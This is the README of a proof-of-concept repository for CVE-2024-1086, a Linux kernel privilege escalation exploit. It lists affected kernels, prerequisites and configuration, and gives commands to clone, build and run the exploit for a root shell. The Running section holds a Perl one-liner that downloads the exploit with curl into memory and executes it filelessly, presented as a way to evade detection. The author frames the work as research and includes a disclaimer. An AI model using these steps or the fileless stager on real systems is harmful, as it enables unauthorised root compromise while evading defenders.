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CVE-2024-1086

Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.

exploit_poc.mp4

Blogpost / Write-up

A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.

Affected versions

The exploit affects versions from (including) v5.14 to (including) v6.6, excluding patched branches v5.15.149>, v6.1.76>, v6.6.15>. The patch for these versions were released in feb 2024. The underlying vulnerability affects all versions (excluding patched stable branches) from v3.15 to v6.8-rc1.

Caveats:

  • The exploit does not work on v6.4> kernels with kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (including Ubuntu v6.5)
  • The exploits requires user namespaces (kconfig CONFIG_USER_NS=y), that those user namespaces are unprivileged (sh command sysctl kernel.unprivileged_userns_clone = 1), and that nf_tables is enabled (kconfig CONFIG_NF_TABLES=y). By default, these are all enabled on Debian, Ubuntu, and KernelCTF. Other distro's have not been tested, but may work as well. Additionally, the exploit has only been tested on x64/amd64.
  • The exploit may be very unstable on systems with a lot of network activity
    • Systems with WiFi adapter, when surrounded by high-usage WiFi networks, will be very unstable.
    • On test devices, please turn off WiFi adapters through BIOS.
  • The kernel panic (system crash) after running the exploit is a side-effect which deliberately hasn't been fixed to prevent malicious usage of the exploit (i.e. exploitation attempts should now be more noticable, and unpractical in real-world operations). Despite this, it still allows for a working proof-of-concept in lab environments, as the root shell is functional, and persistence through disk is possible.

Usage

Configuration

The default values should work out of the box on Debian, Ubuntu, and KernelCTF with a local shell. On non-tested setups/distros, please make sure the kconfig values match with the target kernel. These can be specified in src/config.h. If you are running the exploit on a machine with more than 32GiB physical memory, make sure to increase CONFIG_PHYS_MEM. If you are running the exploit over SSH (into the test machine) or a reverse shell, you may want to toggle CONFIG_REDIRECT_LOG to 1 to avoid unnecessary network activity.

Building

If this is impractical for you, there is an compiled x64 binary with the default config.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binary: CVE-2024-1086/exploit

Running

Running the exploit is just as trivial:

./exploit

Fileless execution is also supported, in case of pentest situations where detections need to be avoided. However, Perl needs to be installed on the target:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Disclaimer

The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.